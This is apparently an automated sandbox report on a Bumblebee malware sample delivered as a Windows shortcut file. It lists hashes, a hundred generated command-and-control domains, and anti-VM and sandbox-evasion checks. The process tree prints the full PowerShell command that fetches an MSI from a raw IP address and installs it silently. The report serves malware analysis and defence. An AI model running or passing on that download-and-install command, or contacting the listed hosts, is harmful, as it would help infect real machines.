Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
1798s -
max time network
1800s -
platform
windows11-21h2_x64 -
resource
win11-20240802-en -
resource tags
arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system -
submitted
04/10/2024, 18:52
Static task
static1
Behavioral task
behavioral1
Sample
Report-41952.lnk
Resource
win10v2004-20240802-en
windows10-2004-x64
General
-
Target
Report-41952.lnk
-
Size
3KB
-
MD5
2aed3939fbf8f1967d68fcc746771889
-
SHA1
eb04819a97ca2cf33211c6ea323a9c77cdfacfcf
-
SHA256
106c81f547cfe8332110520c968062004ca58bcfd2dbb0accd51616dd694721f
-
SHA512
0d45000b7a470655668e5c0c95aaab3911b75b3f4163abb02f9b6e987e070ad02af144d5f791ebf6940c5c838f35ff55f7c0b906ade62f47dde6ad9ff1750b1c
Malware Config
Extracted
bumblebee
msi
-
dga
tvx1ovdepj8.life
acgr6r8zdot.life
ilofx941igp.life
8x2apo5m7ri.life
x9yrzer0ndt.life
93j4v4jopzd.life
ameagxzo2f7.life
nyy41uibsv5.life
ru4jvijdytq.life
l9t6r0y6cvi.life
f4vb9n3tdvh.life
9do3mcejztt.life
pxu1ajsdhqr.life
7exy2b231n2.life
vu5b47m18jn.life
6mnudp7zj73.life
p5047yjrb8q.life
d0xtxp89bb9.life
ygo9u1fkwux.life
fig3gj0v6qe.life
38f5wvwwn7o.life
txgogs9p8a1.life
uyn0icgx1kv.life
2z1ls31az7s.life
0cc2z8zrnhf.life
fsr2hskx44p.life
du19ek78tjw.life
234ct3lkozp.life
he8fq4k8d3w.life
7ewh8ltr7il.life
dw34kmgfl7t.life
f2j20ayqh8y.life
331k2rdkmmb.life
37z6li6l9y2.life
dpgs2lt1sbz.life
plll0xq4y82.life
bzc9sq2pz53.life
7r8ln1wswth.life
y9neib92f2m.life
m5iukps17y7.life
xo8be64ejh2.life
widn8soih8u.life
08mkuqnx6gv.life
lzeqr3apopn.life
o4m5a5no7e8.life
2u8znzsbrto.life
dxyob8x456a.life
lrugnff8fkc.life
38i6lh0rpze.life
mjb3r6mcs1f.life
vl41cymzzfq.life
qc4mwjiop45.life
z3z4fq0420z.life
0tab35o0swu.life
4izk0gc9is6.life
6brdh3p893b.life
736d0mvetjw.life
drmk5rdefb5.life
1v0xhie4os8.life
khxcp22s3dz.life
8z9m8hndrhp.life
xeoz1f1vjs0.life
lobavyclh8e.life
in4pzu7t2pv.life
j280b59doxz.life
6q894zusd4k.life
y7pzxau0717.life
bev8ymaajb7.life
glux8x5b8d6.life
yan95akxgqt.life
9qiliikd3sp.life
ge0lpqif3ar.life
ar7xakeve0o.life
eb4l6wisq9z.life
1grovn87c8s.life
wdga570b8pz.life
nzs8vi9w5o8.life
q7dfpyyhe08.life
exueqqmz3ia.life
65r8nx12fqr.life
vauy5ah65sx.life
8hjv8mbhrlj.life
eeqwg3mzq07.life
b1h0uaabzyz.life
8qvt5iabz5n.life
8ru044xed25.life
w8ligr695sd.life
3e6rrifr5fn.life
9f6p9g7x13s.life
ibcm5at6qrz.life
spd22scperm.life
4k59ij2ujeu.life
07zxfo0kere.life
nhdeapyfg7e.life
y0zvqpi42no.life
zdf5ki8x9r0.life
8mgj12azbyd.life
l6syolvczan.life
mk7plk9c6i2.life
hudrx8fn980.life
-
dga_seed
1.0163655285949564e+18
-
domain_length
11
-
num_dga_domains
100
-
port
443
Signatures
-
Enumerates VirtualBox registry keys 2 TTPs 5 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxMouse MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxService MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxVideo MsiExec.exe -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\FADT\VBOX__ MsiExec.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\RSDT\VBOX__ MsiExec.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ MsiExec.exe -
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions MsiExec.exe -
Blocklisted process makes network request 45 IoCs
flow pid Process 1 3828 powershell.exe 3 228 MsiExec.exe 4 228 MsiExec.exe 5 228 MsiExec.exe 7 228 MsiExec.exe 8 228 MsiExec.exe 11 228 MsiExec.exe 12 228 MsiExec.exe 13 228 MsiExec.exe 14 228 MsiExec.exe 18 228 MsiExec.exe 21 228 MsiExec.exe 22 228 MsiExec.exe 23 228 MsiExec.exe 25 228 MsiExec.exe 26 228 MsiExec.exe 27 228 MsiExec.exe 28 228 MsiExec.exe 29 228 MsiExec.exe 30 228 MsiExec.exe 31 228 MsiExec.exe 32 228 MsiExec.exe 34 228 MsiExec.exe 35 228 MsiExec.exe 36 228 MsiExec.exe 37 228 MsiExec.exe 39 228 MsiExec.exe 40 228 MsiExec.exe 41 228 MsiExec.exe 42 228 MsiExec.exe 43 228 MsiExec.exe 44 228 MsiExec.exe 45 228 MsiExec.exe 46 228 MsiExec.exe 47 228 MsiExec.exe 48 228 MsiExec.exe 49 228 MsiExec.exe 50 228 MsiExec.exe 51 228 MsiExec.exe 52 228 MsiExec.exe 53 228 MsiExec.exe 54 228 MsiExec.exe 55 228 MsiExec.exe 56 228 MsiExec.exe 57 228 MsiExec.exe -
pid Process 3828 powershell.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools MsiExec.exe -
Checks BIOS information in registry 2 TTPs 3 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion MsiExec.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion MsiExec.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate MsiExec.exe -
Identifies Wine through registry keys 2 TTPs 1 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-970747758-134341002-3585657277-1000\SOFTWARE\Wine MsiExec.exe -
Loads dropped DLL 6 IoCs
pid Process 4372 MsiExec.exe 4372 MsiExec.exe 4372 MsiExec.exe 4372 MsiExec.exe 4372 MsiExec.exe 228 MsiExec.exe -
Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Y: msiexec.exe -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 api.ipify.org 12 api.ipify.org -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
description ioc Process File opened (read-only) \??\VBoxMiniRdrDN MsiExec.exe -
Drops file in Windows directory 14 IoCs
description ioc Process File created C:\Windows\Installer\SourceHash{E29C2A9E-997E-49AB-92C0-59583123ED29} msiexec.exe File opened for modification C:\Windows\Installer\MSIAD09.tmp msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\SystemTemp\~DF99DB971563A7DA23.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSIAED3.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIAE13.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIAE63.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF2A05B17860EC2F5A.TMP msiexec.exe File created C:\Windows\Installer\e57ac5d.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIAE53.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIAE84.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\e57ac5d.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI MsiExec.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI MsiExec.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI MsiExec.exe -
Suspicious behavior: EnumeratesProcesses 36 IoCs
pid Process 3828 powershell.exe 3828 powershell.exe 3284 msiexec.exe 3284 msiexec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe 228 MsiExec.exe -
Suspicious use of AdjustPrivilegeToken 47 IoCs
description pid Process Token: SeDebugPrivilege 3828 powershell.exe Token: SeShutdownPrivilege 3000 msiexec.exe Token: SeIncreaseQuotaPrivilege 3000 msiexec.exe Token: SeSecurityPrivilege 3284 msiexec.exe Token: SeCreateTokenPrivilege 3000 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3000 msiexec.exe Token: SeLockMemoryPrivilege 3000 msiexec.exe Token: SeIncreaseQuotaPrivilege 3000 msiexec.exe Token: SeMachineAccountPrivilege 3000 msiexec.exe Token: SeTcbPrivilege 3000 msiexec.exe Token: SeSecurityPrivilege 3000 msiexec.exe Token: SeTakeOwnershipPrivilege 3000 msiexec.exe Token: SeLoadDriverPrivilege 3000 msiexec.exe Token: SeSystemProfilePrivilege 3000 msiexec.exe Token: SeSystemtimePrivilege 3000 msiexec.exe Token: SeProfSingleProcessPrivilege 3000 msiexec.exe Token: SeIncBasePriorityPrivilege 3000 msiexec.exe Token: SeCreatePagefilePrivilege 3000 msiexec.exe Token: SeCreatePermanentPrivilege 3000 msiexec.exe Token: SeBackupPrivilege 3000 msiexec.exe Token: SeRestorePrivilege 3000 msiexec.exe Token: SeShutdownPrivilege 3000 msiexec.exe Token: SeDebugPrivilege 3000 msiexec.exe Token: SeAuditPrivilege 3000 msiexec.exe Token: SeSystemEnvironmentPrivilege 3000 msiexec.exe Token: SeChangeNotifyPrivilege 3000 msiexec.exe Token: SeRemoteShutdownPrivilege 3000 msiexec.exe Token: SeUndockPrivilege 3000 msiexec.exe Token: SeSyncAgentPrivilege 3000 msiexec.exe Token: SeEnableDelegationPrivilege 3000 msiexec.exe Token: SeManageVolumePrivilege 3000 msiexec.exe Token: SeImpersonatePrivilege 3000 msiexec.exe Token: SeCreateGlobalPrivilege 3000 msiexec.exe Token: SeRestorePrivilege 3284 msiexec.exe Token: SeTakeOwnershipPrivilege 3284 msiexec.exe Token: SeRestorePrivilege 3284 msiexec.exe Token: SeTakeOwnershipPrivilege 3284 msiexec.exe Token: SeRestorePrivilege 3284 msiexec.exe Token: SeTakeOwnershipPrivilege 3284 msiexec.exe Token: SeRestorePrivilege 3284 msiexec.exe Token: SeTakeOwnershipPrivilege 3284 msiexec.exe Token: SeRestorePrivilege 3284 msiexec.exe Token: SeTakeOwnershipPrivilege 3284 msiexec.exe Token: SeRestorePrivilege 3284 msiexec.exe Token: SeTakeOwnershipPrivilege 3284 msiexec.exe Token: SeRestorePrivilege 3284 msiexec.exe Token: SeTakeOwnershipPrivilege 3284 msiexec.exe -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 4212 wrote to memory of 3828 4212 cmd.exe 80 PID 4212 wrote to memory of 3828 4212 cmd.exe 80 PID 3828 wrote to memory of 3000 3828 powershell.exe 81 PID 3828 wrote to memory of 3000 3828 powershell.exe 81 PID 3284 wrote to memory of 4372 3284 msiexec.exe 85 PID 3284 wrote to memory of 4372 3284 msiexec.exe 85 PID 3284 wrote to memory of 4372 3284 msiexec.exe 85 PID 3284 wrote to memory of 228 3284 msiexec.exe 86 PID 3284 wrote to memory of 228 3284 msiexec.exe 86
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Report-41952.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:4212 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest "http://193.242.145.138/mid/w1/Midjourney.msi" -OutFile "C:\Users\Admin\AppData\Roaming\y.msi";msiexec /i C:\Users\Admin\AppData\Roaming\y.msi /qn2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3828 -
C:\Windows\system32\msiexec.exe"C:\Windows\system32\msiexec.exe" /i C:\Users\Admin\AppData\Roaming\y.msi /qn3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3000
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3284 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 96A732AC7CFD179391F4C63AACAF74982⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4372
-
-
C:\Windows\System32\MsiExec.exe"C:\Windows\System32\MsiExec.exe" /Y "C:\ProgramData\BDncqpUxZl.dll"2⤵
- Enumerates VirtualBox registry keys
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Looks for VirtualBox Guest Additions in registry
- Blocklisted process makes network request
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Loads dropped DLL
- Checks for VirtualBox DLLs, possible anti-VM trick
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
PID:228
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2.1MB
MD540ee908eff9418d1cbcb36ea516ca34e
SHA1e13e947f3ce59a2a58ce09c2d8888053d685fa44
SHA2567df703625ee06db2786650b48ffefb13fa1f0dae41e521b861a16772e800c115
SHA512eedae343bf53411aa9a64e0f6ae9ee1ac15b6cdc02d94894604974e5d0ffcafc56f9df9afa368cab38a017785e559d75bb9dea95bffc78088048cf3b1ec7d639
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
2.6MB
MD5c962d866683ba35349a00a70e9c759b4
SHA18527e1ab0068df818d5bc991bca0e12c442912c1
SHA256c26344bfd07b871dd9f6bd7c71275216e18be265e91e5d0800348e8aa06543f9
SHA512e05e172dc1c0b5feca7ca894d75790e1ceb1cf0f006d90ea6950041fadb14cec9503b628a09584a3bca21459618cc7ed7dd0b603572cdf5442391c74af5a68fb
-
Filesize
816KB
MD5aa88d8f40a286b6d40de0f3abc836cfa
SHA1c24eab9e4b10b159b589f4c3b64ef3db111ea1c8
SHA2568d633efeda1249356b11bf8f46583242356e4f903056b53bd25a99511d1790a1
SHA5126c2f2f6a2d66015f30158962d653e381136f0f30023380a0ce95bd0944d856113fbde65db52dbb3b5de1c0e2edf2cd53184e721c64b916834be4198c61224519